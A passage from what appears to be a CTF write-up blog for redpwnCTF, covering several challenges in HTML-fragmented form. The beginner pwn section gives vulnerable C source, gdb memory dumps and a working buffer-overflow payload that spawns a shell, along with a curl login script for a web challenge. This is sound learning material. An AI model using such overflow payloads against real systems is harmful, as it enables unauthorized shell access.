</span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class="token string"> - 'utf-8' - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - </code> - </div> - </pre> - <p> - I made a simple shell script that calls cURL with the base64-encoded -parameters, and decodes the url-encoded flag afterwards: - </p> - <pre> - <div class="prismjs"> - <code class="language-sh" style="white-space:pre"> - <span class=""> - #!/bin/sh - </span> - <!-- --> - # https://stackoverflow.com/questions/6250698/how-to-decode-url-encoded-string-in-shell - <!-- --> - function urldecode() { : "${*//+/ }"; echo -e "${_//%/\\x}"; } - <!-- --> - <!-- --> - urldecode $(curl -sX POST \ - <!-- --> - -d "username=$(printf 'admin' | base64)" \ - <!-- --> - -d "password=$(cat ./randomUUID.js)" \ - <!-- --> - https://secure.mc.ax/login) - </code> - </div> - </pre> - <h3 id="cryptobaby"> - crypto/baby - </h3> - <blockquote> - <p> - I want to do an RSA! - </p> - </blockquote> - <p> - This challenge is breaking RSA. It only works because the - <code> - n - </code> - parameter is -really small. - </p> - <p> - Googling for 'rsa decrypt n e c' yields - <a href="https://stackoverflow.com/questions/49878381/rsa-decryption-using-only-n-e-and-c"> - this - </a> - stackoverflow result, which links to - <a href="https://www.dcode.fr/rsa-cipher"> - dcode.fr - </a> - . The only thing left to do is -calculate - <code> - p - </code> - and - <code> - q - </code> - , which can be done using - <a href="https://wolframalpha.com/"> - wolfram -alpha - </a> - . - </p> - <h3 id="pwnbeginner-generic-pwn-number-0"> - pwn/beginner-generic-pwn-number-0 - </h3> - <blockquote> - <p> - rob keeps making me write beginner pwn! i'll show him... - </p> - <p> - <code> - nc mc.ax 31199 - </code> - </p> - </blockquote> - <p> - This was my first interaction with - <code> - gdb - </code> - . It was.. painful. After begging for -help in the redpwnCTF discord server about another waaaay harder challenge, an -organizer named asphyxia pointed me towards - <a href="https://github.com/hugsy/gef"> - gef - </a> - which single-handedly saved my sanity during the binary exploitation -challenges. - </p> - <p> - The first thing I did was use - <a href="https://github.com/radareorg/iaito"> - iaito - </a> - to -look at a dissassembly graph of the binary. Iaito is a graphical frontend to -the radare2 reverse engineering framework, and I didn't feel like learning two -things at the same time, so that's why I used it. While it's very -user-friendly, I didn't look into reverse engineering tools very much, and -didn't realise that iaito is still in development. Let's just say I ran into -some issues with project saving so I took lots of unnecessary repeated steps. - </p> - <p> - After trying to make sense of assembly code after just seeing it for the first -time, I instead decided looking at the source code would be a better idea since -I actually know c. - </p> - <pre> - <div class="prismjs"> - <code class="language-c" style="white-space:pre"> - <span class="token macro property directive-hash"> - # - </span> - <span class="token macro property directive keyword"> - include - </span> - <span class="token macro property"> - </span> - <span class="token macro property string"> - <stdio.h> - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token macro property directive-hash"> - # - </span> - <span class="token macro property directive keyword"> - include - </span> - <span class="token macro property"> - </span> - <span class="token macro property string"> - <string.h> - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token macro property directive-hash"> - # - </span> - <span class="token macro property directive keyword"> - include - </span> - <span class="token macro property"> - </span> - <span class="token macro property string"> - <stdlib.h> - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - const - </span> - <span class=""> - </span> - <span class="token keyword"> - char - </span> - <span class=""> - </span> - <span class="token operator"> - * - </span> - <span class=""> - inspirational_messages - </span> - <span class="token punctuation"> - [ - </span> - <span class="token punctuation"> - ] - </span> - <span class=""> - </span> - <span class="token operator"> - = - </span> - <span class=""> - </span> - <span class="token punctuation"> - { - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token string"> - "\"𝘭𝘦𝘵𝘴 𝘣𝘳𝘦𝘢𝘬 𝘵𝘩𝘦 𝘵𝘳𝘢𝘥𝘪𝘵𝘪𝘰𝘯 𝘰𝘧 𝘭𝘢𝘴𝘵 𝘮𝘪𝘯𝘶𝘵𝘦 𝘤𝘩𝘢𝘭𝘭 𝘸𝘳𝘪𝘵𝘪𝘯𝘨\"" - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token string"> - "\"𝘱𝘭𝘦𝘢𝘴𝘦 𝘸𝘳𝘪𝘵𝘦 𝘢 𝘱𝘸𝘯 𝘴𝘰𝘮𝘦𝘵𝘪𝘮𝘦 𝘵𝘩𝘪𝘴 𝘸𝘦𝘦𝘬\"" - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token string"> - "\"𝘮𝘰𝘳𝘦 𝘵𝘩𝘢𝘯 1 𝘸𝘦𝘦𝘬 𝘣𝘦𝘧𝘰𝘳𝘦 𝘵𝘩𝘦 𝘤𝘰𝘮𝘱𝘦𝘵𝘪𝘵𝘪𝘰𝘯\"" - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token punctuation"> - } - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - int - </span> - <span class=""> - </span> - <span class="token function"> - main - </span> - <span class="token punctuation"> - ( - </span> - <span class="token keyword"> - void - </span> - <span class="token punctuation"> - ) - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token punctuation"> - { - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - srand - </span> - <span class="token punctuation"> - ( - </span> - <span class="token function"> - time - </span> - <span class="token punctuation"> - ( - </span> - <span class="token number"> - 0 - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - long - </span> - <span class=""> - inspirational_message_index - </span> - <span class="token operator"> - = - </span> - <span class=""> - </span> - <span class="token function"> - rand - </span> - <span class="token punctuation"> - ( - </span> - <span class="token punctuation"> - ) - </span> - <span class=""> - </span> - <span class="token operator"> - % - </span> - <span class=""> - </span> - <span class="token punctuation"> - ( - </span> - <span class="token keyword"> - sizeof - </span> - <span class="token punctuation"> - ( - </span> - <span class=""> - inspirational_messages - </span> - <span class="token punctuation"> - ) - </span> - <span class=""> - </span> - <span class="token operator"> - / - </span> - <span class=""> - </span> - <span class="token keyword"> - sizeof - </span> - <span class="token punctuation"> - ( - </span> - <span class="token keyword"> - char - </span> - <span class=""> - </span> - <span class="token operator"> - * - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - char - </span> - <span class=""> - heartfelt_message - </span> - <span class="token punctuation"> - [ - </span> - <span class="token number"> - 32 - </span> - <span class="token punctuation"> - ] - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - setbuf - </span> - <span class="token punctuation"> - ( - </span> - <span class="token constant"> - stdout - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class="token constant"> - NULL - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - setbuf - </span> - <span class="token punctuation"> - ( - </span> - <span class="token constant"> - stdin - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class="token constant"> - NULL - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - setbuf - </span> - <span class="token punctuation"> - ( - </span> - <span class="token constant"> - stderr - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class="token constant"> - NULL - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - puts - </span> - <span class="token punctuation"> - ( - </span> - <span class=""> - inspirational_messages - </span> - <span class="token punctuation"> - [ - </span> - <span class=""> - inspirational_message_index - </span> - <span class="token punctuation"> - ] - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - puts - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - "rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!" - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - puts - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - "can you write me a heartfelt message to cheer me up? :(" - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - gets - </span> - <span class="token punctuation"> - ( - </span> - <span class=""> - heartfelt_message - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - if - </span> - <span class="token punctuation"> - ( - </span> - <span class=""> - inspirational_message_index - </span> - <span class="token operator"> - == - </span> - <span class=""> - </span> - <span class="token operator"> - - - </span> - <span class="token number"> - 1 - </span> - <span class="token punctuation"> - ) - </span> - <span class=""> - </span> - <span class="token punctuation"> - { - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - system - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - "/bin/sh" - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token punctuation"> - } - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token punctuation"> - } - </span> - </code> - </div> - </pre> - <p> - After looking at this source things became a lot clearer, because the only -input you can actually control is recieved from - <code> - gets(...); - </code> - </p> - <p> - Now comes the hard part: doing it, but in assembly! - </p> - <p> - Some recources you should consume before attempting binary exploitation would -be - <a href="https://www.youtube.com/watch?v=1S0aBV-Waeo"> - computerphile's video on buffer -overflows - </a> - and - <a href="https://cheat.sh/gdb"> - cheat.sh/gdb - </a> - for some basic gdb commands. The rest of -this section assumes you know the basics of both buffer overflows and gdb. - </p> - <p> - First, let's print a dissassembly of the - <code> - int main() - </code> - function: - </p> - <pre> - <code> - (gdb) disas main -Dump of assembler code for function main: - 0x000000000040127c <+134>: call 0x4010a0 <puts@plt> - 0x0000000000401281 <+139>: lea rdi,[rip+0xec8] # 0x402150 - 0x0000000000401288 <+146>: call 0x4010a0 <puts@plt> - 0x000000000040128d <+151>: lea rdi,[rip+0xf1c] # 0x4021b0 - 0x0000000000401294 <+158>: call 0x4010a0 <puts@plt> - 0x0000000000401299 <+163>: lea rax,[rbp-0x30] - 0x000000000040129d <+167>: mov rdi,rax - 0x00000000004012a0 <+170>: call 0x4010f0 <gets@plt> - 0x00000000004012a5 <+175>: cmp QWORD PTR [rbp-0x8],0xffffffffffffffff - 0x00000000004012aa <+180>: jne 0x4012b8 <main+194> - 0x00000000004012ac <+182>: lea rdi,[rip+0xf35] # 0x4021e8 - 0x00000000004012b3 <+189>: call 0x4010c0 <system@plt> - 0x00000000004012b8 <+194>: mov eax,0x0 - 0x00000000004012bd <+199>: leave - 0x00000000004012be <+200>: ret -End of assembler dump. - </code> - </pre> - <p> - This isn't the full output from gdb, but only the last few lines. A few things -should immediately stand out: the 3 - <code> - <puts@plt> - </code> - calls, and right after the -call to - <code> - <gets@plt> - </code> - . These are the assembly equivalent of: - </p> - <pre> - <div class="prismjs"> - <code class="language-c" style="white-space:pre"> - <span class="token function"> - puts - </span> - <span class="token punctuation"> - ( - </span> - <span class=""> - inspirational_messages - </span> - <span class="token punctuation"> - [ - </span> - <span class=""> - inspirational_message_index - </span> - <span class="token punctuation"> - ] - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - puts - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - "rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!" - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - puts - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - "can you write me a heartfelt message to cheer me up? :(" - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - gets - </span> - <span class="token punctuation"> - ( - </span> - <span class=""> - heartfelt_message - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - </code> - </div> - </pre> - <p> - Since I didn't see any reference to a flag file being read, I assumed that the - <code> - system("/bin/sh") - </code> - call is our main target, so let's see if we can find that -in our assembly code. There's a call to - <code> - <system@plt> - </code> - at - <code> - <main+189> - </code> - , and -there's other weird - <code> - cmp - </code> - , - <code> - jne - </code> - and - <code> - lea - </code> - instructions before. Let's figure -out what those do! - </p> - <p> - After some stackoverflow soul searching, I found out that the - <code> - cmp - </code> - and - <code> - jne - </code> - are assembly instructions for compare, and jump-if-not-equal. They work like -this: - </p> - <pre> - <div class="prismjs"> - <code class="language-asm6502" style="white-space:pre"> - <span class="token comment"> - ; cmp compares what's in the $rbp register to 0xffffffffffffffff - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token comment"> - ; and turns on the ZERO flag if they're equal - </span> - <span class=""> - </span> - <span class=""> - 0x004012a5 <+ - </span> - <span class="token decimalnumber string"> - 0 - </span> - <span class=""> - >: - </span> - <span class="token opcode property"> - cmp - </span> - <span class=""> - QWORD PTR [rbp-0x8],0xffffffffffffffff - </span> - <span class=""> - </span> - <span class="token comment"> - ; jne checks if the ZERO flag is on, - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token comment"> - ; and if it is it jumps (in this case) to 0x4012b8 - </span> - <span class=""> - </span> - <span class=""> - ┌--0x004012aa <+ - </span> - <span class="token decimalnumber string"> - 1 - </span> - <span class=""> - >: jne 0x4012b8 <main+ - </span> - <span class="token decimalnumber string"> - 194 - </span> - <span class=""> - > - </span> - <span class=""> - │ - </span> - <span class="token comment"> - ; we can safely ignore the `lea` instruction as it doesn't impact our pwn - </span> - <span class=""> - </span> - <span class=""> - │ 0x004012ac <+ - </span> - <span class="token decimalnumber string"> - 2 - </span> - <span class=""> - >: lea rdi,[rip+0xf35] # 0x4021e8 - </span> - │ - <span class=""> - │ - </span> - <span class="token comment"> - ; the almighty syscall - </span> - <span class=""> - </span> - <span class=""> - │ 0x004012b3 <+ - </span> - <span class="token decimalnumber string"> - 3 - </span> - <span class=""> - >: call 0x4010c0 <system@plt> - </span> - │ - <span class=""> - │ - </span> - <span class="token comment"> - ; from here on the program exits without calling /bin/sh - </span> - <span class=""> - </span> - <span class=""> - └->0x004012b8 <+ - </span> - <span class="token decimalnumber string"> - 4 - </span> - <span class=""> - >: mov eax,0x0 - </span> - <span class=""> - 0x004012bd <+ - </span> - <span class="token decimalnumber string"> - 5 - </span> - <span class=""> - >: leave - </span> - <span class=""> - 0x004012be <+ - </span> - <span class="token decimalnumber string"> - 6 - </span> - <span class=""> - >: ret - </span> - </code> - </div> - </pre> - <p> - The program checks if there's - <code> - 0xffffffffffffffff - </code> - in memory - <code> - 0x8 - </code> - bytes before -the - <code> - $rbp - </code> - register. The program allocates 32 bytes of memory for our heartfelt -message, but it continues reading even if our heartfelt message is longer than -32 bytes. Let's see if we can overwrite that register >:) - </p> - <p> - Let's set a breakpoint after the - <code> - <gets@plt> - </code> - call in gdb, and run the program -with 40 bytes of - <code> - 0x61 - </code> - ('a') - </p> - <pre> - <code> - (gdb) break *0x00000000004012a5 -Breakpoint 1 at 0x4012a5 - -(gdb) run < <(python3 -c "print('a' * 40)") - </code> - </pre> - <p> - I'm using the - <code> - run - </code> - command with - <code> - < - </code> - and - <code> - <() - </code> - to pipe the output of python -into the program's - <code> - stdin - </code> - . It's unnecessary at this stage because there's an -'a' key on my keyboard, but if we were to send raw bytes, this would make it a -lot easier. - </p> - <p> - I'm also using - <a href="https://github.com/hugsy/gef"> - gef - </a> - so I get access to a command -called - <code> - context - </code> - which prints all sorts of information about registers, the -stack and a small dissassembly window. I won't show it's output here, but it -was an indispensable tool that you should install nonetheless. - </p> - <p> - Let's print the memory at - <code> - [$rbp - 0x8] - </code> - : - </p> - <pre> - <code> - (gdb) x/8gx $rbp - 0x8 -0x7fffffffd758: 0x0000000000000000 0x0000000000000000 -0x7fffffffd768: 0x00007ffff7de4b25 0x00007fffffffd858 -0x7fffffffd778: 0x0000000100000064 0x00000000004011f6 -0x7fffffffd788: 0x0000000000001000 0x00000000004012c0 - </code> - </pre> - <p> - Hmmm, no overwriteage yet. Let's try 56 bytes instead: - </p> - <pre> - <code> - (gdb) run < <(python3 -c "print('a' * 56)") -(gdb) x/8gx $rbp - 0x8 -0x7fffffffd758: 0x6161616161616161 0x6161616161616161 -0x7fffffffd768: 0x00007ffff7de4b00 0x00007fffffffd858 -0x7fffffffd778: 0x0000000100000064 0x00000000004011f6 -0x7fffffffd788: 0x0000000000001000 0x00000000004012c0 -(gdb) x/1gx $rbp - 0x8 -0x7fffffffd758: 0x6161616161616161 - </code> - </pre> - <p> - Jackpot! We've overwritten 16 bytes of the adress that the - <code> - cmp - </code> - instruction -reads. Let's try setting it to - <code> - 0xff - </code> - instead, so we get a shell. Python 3 is -not that great for binary exploitation, so the code for this is a little bit -ugly, but if it works, it works! - </p> - <pre> - <code> - (gdb) run < <(python3 -c "import sys; sys.stdout.buffer.write(b'a' * 40 + b'\xff' * 8)") -(gdb) x/1gx $rbp - 0x8 -0x7fffffffd758: 0xffffffffffffffff - </code> - </pre> - <p> - Now let's let execution continue as normal by using the - <code> - continue - </code> - command: - </p> - <pre> - <code> - (gdb) continue -Continuing. -[Detaching after vfork from child process 22950] -[Inferior 1 (process 22947) exited normally] - </code> - </pre> - <p> - This might seem underwhelming, but our explit works! A child process was -spawned, and as a bonus, we didn't get any segmentation faults! The reason we -don't get an interactive shell is because we used python to pipe input into the -program which makes it non-interactive. - </p> - <p> - At this point I was about 12 hours in of straight gdb hell, and I was very -happy to see this shell. After discovering this, I immediately tried it outside -the debugger and was dissapointed to see that my exploit didn't work. After a -small panick attack I found out this was because of my environment variables. -You can launch an environment-less shell by using the - <code> - env -i sh - </code> - command: - </p> - <pre> - <code> - λ generic → λ git master* → env -i sh -sh-5.1$ python3 -c "import sys; sys.stdout.buffer.write(b'a' * 40 + b'\xff' * 8)" | ./beginner-generic-pwn-number-0 -"𝘭𝘦𝘵𝘴 𝘣𝘳𝘦𝘢𝘬 𝘵𝘩𝘦 𝘵𝘳𝘢𝘥𝘪𝘵𝘪𝘰𝘯 𝘰𝘧 𝘭𝘢𝘴𝘵 𝘮𝘪𝘯𝘶𝘵𝘦 𝘤𝘩𝘢𝘭𝘭 𝘸𝘳𝘪𝘵𝘪𝘯𝘨" -rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self! -can you write me a heartfelt message to cheer me up? :( -sh-5.1$ # another shell :tada: - </code> - </pre> - <p> - Now it was time to actually do the exploit on the remote server. - </p> - <p> - I whipped up the most disgusting and janky python code that I won't go into -detail about, but here's what is does (in short): - </p> - <ol> - <li> - Create a thread to capture data from the server and forward it to - <code> - stdout - </code> - </li> - <li> - Capture user commands using - <code> - input() - </code> - and decide what to do with them on the main thread - </li> - </ol> - <p> - The code for this script can be found - <a href="https://github.com/lonkaars/redpwn/blob/master/challenges/generic/pwn.py"> - here - </a> - , -though be warned, it's - <em> - very - </em> - janky and you're probably better off copying -stuff from stackoverflow. Writing your own tools is more fun though, and might -also be faster than trying to wrestle with existing tools to try to get them to -do exactly what you want them to do. In this case I could've also just used - <a href="https://reverseengineering.stackexchange.com/questions/13928/managing-inputs-for-payload-injection?noredirect=1&lq=1"> - a -siple -command - </a> - . - </p> - <p> - It did help me though and I actually had to copy it for use in the other buffer -overflow challenge that I solved, so I'll probably refactor it someday for use -in other CTFs. - </p> - <h3 id="cryptoround-the-bases"> - crypto/round-the-bases - </h3> - <p> - This crypto challenge uses a text file with some hidden information. If you -open up the file in a text editor, and adjust your window width, you'll -eventually see the repeating pattern line up. This makes it very easy to see -what part of the pattern is actually changing: - </p> - <pre> - <code> - ----------------------xxxx---- -[9km7D9mTfc:..Zt9mTZ_:K0o09mTN -[9km7D9mTfc:..Zt9mTZ_:K0o09mTN -[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN -[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN -[9km7D9mTfc:..Zt9mTZ_:K0o09mTN -[9km7D9mTfc:..Zt9mTZ_:K0o09mTN -[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN -[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN -[9km7D9mTfc:..Zt9mTZ_:K0o09mTN -[9km7D9mTfc:..Zt9mTZ_:K0o09mTN -[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN -[9km7D9mTfc:..Zt9mTZ_:K0o09mTN -[9km7D9mTfc:..Zt9mTZ_:K0o09mTN -[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN -[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN - </code> - </pre> - <p> - I wrote a simple python script to parse this into binary data, and it worked on -the first try: - </p> - <pre> - <div class="prismjs"> - <code class="language-py" style="white-space:pre"> - <span class="token comment"> - # read the file into a string - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token builtin"> - file - </span> - <span class=""> - </span> - <span class="token operator"> - = - </span> - <span class=""> - </span> - <span class="token builtin"> - open - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - "./round-the-bases" - </span> - <span class="token punctuation"> - ) - </span> - <span class=""> - </span> - <span class=""> - content - </span> - <span class="token operator"> - = - </span> - <span class=""> - </span> - <span class="token builtin"> - file - </span> - <span class="token punctuation"> - . - </span> - <span class=""> - read - </span> - <span class="token punctuation"> - ( - </span> - <span class="token punctuation"> - ) - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token builtin"> - file - </span> - <span class="token punctuation"> - . - </span> - <span class=""> - close - </span> - <span class="token punctuation"> - ( - </span> - <span class="token punctuation"> - ) - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token comment"> - # split on every 30th character into a list - </span> - <span class=""> - </span> - <span class=""> - n - </span> - <span class="token operator"> - = - </span> - <span class=""> - </span> - <span class="token number"> - 30 - </span> - <span class=""> - </span> - <span class=""> - arr - </span> - <span class="token operator"> - = - </span> - <span class=""> - </span> - <span class="token punctuation"> - [ - </span> - <span class=""> - content - </span> - <span class="token punctuation"> - [ - </span> - <span class=""> - i - </span> - <span class="token punctuation"> - : - </span> - <span class=""> - i - </span> - <span class="token operator"> - + - </span> - <span class=""> - n - </span> - <span class="token punctuation"> - ] - </span> - <span class=""> - </span> - <span class="token keyword"> - for - </span> - <span class=""> - i - </span> - <span class="token keyword"> - in - </span> - <span class=""> - </span> - <span class="token builtin"> - range - </span> - <span class="token punctuation"> - ( - </span> - <span class="token number"> - 0 - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class="token builtin"> - len - </span> - <span class="token punctuation"> - ( - </span> - <span class=""> - content - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - n - </span> - <span class="token punctuation"> - ) - </span> - <span class=""> - </span> - <span class="token punctuation"> - ] - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token builtin"> - bin - </span> - <span class=""> - </span> - <span class="token operator"> - = - </span> - <span class=""> - </span> - <span class="token punctuation"> - [ - </span> - <span class="token punctuation"> - ] - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - for - </span> - <span class=""> - line - </span> - <span class="token keyword"> - in - </span> - <span class=""> - arr - </span> - <span class="token punctuation"> - : - </span> - <span class=""> - </span> - <span class=""> - sub - </span> - <span class="token operator"> - = - </span> - <span class=""> - line - </span> - <span class="token punctuation"> - [ - </span> - <span class="token number"> - 16 - </span> - <span class="token punctuation"> - : - </span> - <span class="token number"> - 20 - </span> - <span class="token punctuation"> - ] - </span> - <span class=""> - </span> - <span class="token comment"> - # the part that changes - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - if - </span> - <span class=""> - sub - </span> - <span class="token operator"> - == - </span> - <span class=""> - </span> - <span class="token string"> - 'IIcu' - </span> - <span class="token punctuation"> - : - </span> - <span class=""> - </span> - <span class="token comment"> - # IIcu -> 0x0 - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token builtin"> - bin - </span> - <span class="token punctuation"> - . - </span> - <span class=""> - append - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - '0' - </span> - <span class="token punctuation"> - ) - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - else - </span> - <span class="token punctuation"> - : - </span> - <span class=""> - </span> - <span class="token comment"> - # K0o0 -> 0x1 - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token builtin"> - bin - </span> - <span class="token punctuation"> - . - </span> - <span class=""> - append - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - '1' - </span> - <span class="token punctuation"> - ) - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token builtin"> - bin - </span> - <span class=""> - </span> - <span class="token operator"> - = - </span> - <span class=""> - </span> - <span class="token string"> - '' - </span> - <span class="token punctuation"> - . - </span> - <span class=""> - join - </span> - <span class="token punctuation"> - ( - </span> - <span class="token builtin"> - bin - </span> - <span class="token punctuation"> - ) - </span> - <span class=""> - </span> - <span class="token comment"> - # join all the list indices together into a string - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token comment"> - # decode the binary string into ascii characters - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - for - </span> - <span class=""> - i - </span> - <span class="token keyword"> - in - </span> - <span class=""> - </span> - <span class="token builtin"> - range - </span> - <span class="token punctuation"> - ( - </span> - <span class="token number"> - 0 - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class="token builtin"> - len - </span> - <span class="token punctuation"> - ( - </span> - <span class="token builtin"> - bin - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class="token number"> - 8 - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - : - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - print - </span> - <span class="token punctuation"> - ( - </span> - <span class="token builtin"> - chr - </span> - <span class="token punctuation"> - ( - </span> - <span class="token builtin"> - int - </span> - <span class="token punctuation"> - ( - </span> - <span class="token builtin"> - bin - </span> - <span class="token punctuation"> - [ - </span> - <span class=""> - i - </span> - <span class="token punctuation"> - : - </span> - <span class=""> - i - </span> - <span class="token operator"> - + - </span> - <span class="token number"> - 8 - </span> - <span class="token punctuation"> - ] - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class="token number"> - 2 - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - end - </span> - <span class="token operator"> - = - </span> - <span class="token string"> - '' - </span> - <span class="token punctuation"> - ) - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token comment"> - # newline for good measure - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - print - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - "\n" - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - end - </span> - <span class="token operator"> - = - </span> - <span class="token string"> - '' - </span> - <span class="token punctuation"> - ) - </span> - </code> - </div> - </pre> - <h3 id="pwnret2generic-flag-reader"> - pwn/ret2generic-flag-reader - </h3> - <p> - This was the second binary exploitation challenge I tackled, and it went much -better than the first because I (sort of) knew what I was doing by now. - </p> - <p> - I figured the 'ret2' part of the title challenge was short for 'return to', and -my suspicion was confirmed after looking at the c source: - </p> - <pre> - <div class="prismjs"> - <code class="language-c" style="white-space:pre"> - <span class="token macro property directive-hash"> - # - </span> - <span class="token macro property directive keyword"> - include - </span> - <span class="token macro property"> - </span> - <span class="token macro property string"> - <stdio.h> - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token macro property directive-hash"> - # - </span> - <span class="token macro property directive keyword"> - include - </span> - <span class="token macro property"> - </span> - <span class="token macro property string"> - <string.h> - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token macro property directive-hash"> - # - </span> - <span class="token macro property directive keyword"> - include - </span> - <span class="token macro property"> - </span> - <span class="token macro property string"> - <stdlib.h> - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - void - </span> - <span class=""> - </span> - <span class="token function"> - super_generic_flag_reading_function_please_ret_to_me - </span> - <span class="token punctuation"> - ( - </span> - <span class="token punctuation"> - ) - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token punctuation"> - { - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - char - </span> - <span class=""> - flag - </span> - <span class="token punctuation"> - [ - </span> - <span class="token number"> - 0x100 - </span> - <span class="token punctuation"> - ] - </span> - <span class=""> - </span> - <span class="token operator"> - = - </span> - <span class=""> - </span> - <span class="token punctuation"> - { - </span> - <span class="token number"> - 0 - </span> - <span class="token punctuation"> - } - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - FILE - </span> - <span class="token operator"> - * - </span> - <span class=""> - fp - </span> - <span class="token operator"> - = - </span> - <span class=""> - </span> - <span class="token function"> - fopen - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - "./flag.txt" - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class="token string"> - "r" - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - 